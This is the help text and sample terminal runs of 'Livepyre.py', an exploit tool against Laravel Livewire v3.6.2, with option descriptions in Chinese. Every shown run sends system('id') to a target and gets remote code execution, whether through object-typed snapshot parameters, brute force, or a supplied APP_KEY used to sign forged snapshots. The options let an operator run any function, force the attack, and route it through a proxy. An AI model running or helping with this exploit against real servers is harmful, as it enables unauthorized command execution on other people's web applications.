$ ./Livepyre.py -h
usage: Livepyre.py [-h] -u URL [-f FUNCTION] [-p PARAM] [-H HEADERS] [-P PROXY] [-a APP_KEY] [-d] [-F]
                   [-c]

Livewire exploit tool

options:
  -h, --help            show this help message and exit
  -u, --url URL         目标URL
  -f, --function FUNCTION
                        要执行的函数（默认：system）
  -p, --param PARAM     函数的参数（默认：id）
  -H, --headers HEADERS
                        要添加到请求的头部（默认无）
  -P, --proxy PROXY     请求的代理URL
  -a, --app-key APP_KEY
                        用于对快照签名的APP_KEY
  -d, --debug           启用调试输出
  -F, --force           即使版本看似不易受攻击也强制利用
  -c, --check           仅检查远程目标是否易受攻击（仅适用于不提供APP_KEY的利用方式）

$ ./Livepyre.py -u https://target.com/

# 不提供APP_KEY，且快照中存在对象类型时
$ ./Livepyre.py -u http://livewire.local/counter
[INFO] The remote livewire version is v3.6.2, the target is vulnerable.
[INFO] Found snapshot(s). Running exploit.
[INFO] Running exploit without APP_KEY.
[INFO] Found 1 snapshot(s) available.
[INFO] Found 2 possible param(s).
[INFO] Checking for param(s) with object type to avoid bruteforce.
[INFO] test is typed as an object, triggering RCE.
[INFO] Sending payload system('id') to livewire.
[INFO] Payload works, output:
uid=1337(sail) gid=33(www-data) groups=33(www-data)

# 不提供APP_KEY，且快照中无对象类型时进行暴力破解
$ ./Livepyre.py -u http://livewire.local/counter
[INFO] The remote livewire version is v3.6.2, the target is vulnerable.
[INFO] Found snapshot(s). Running exploit.
[INFO] Running exploit without APP_KEY.
[INFO] Found 1 snapshot(s) available.
[INFO] Found 1 possible param(s).
[INFO] Checking for param(s) with object type to avoid bruteforce.
[WARNING] No param with direct object type was found, attempting bruteforce.
[INFO] Trying to gain RCE with param count.
[INFO] Sending payload system('id') to livewire.
[INFO] Payload works, output:
uid=1337(sail) gid=33(www-data) groups=33(www-data)

# 提供APP_KEY时
$ ./Livepyre.py -u http://livewire.local/counter -a 'base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA='
[INFO] The remote livewire version is v3.6.2, the target is vulnerable.
[INFO] Found snapshot(s). Running exploit.
[INFO] Running exploit with APP_KEY.
[INFO] Found 1 snapshot(s) available.
[INFO] Sending payload system('id') to livewire.
[INFO] Payload works, output:
uid=1337(sail) gid=33(www-data) groups=33(www-data)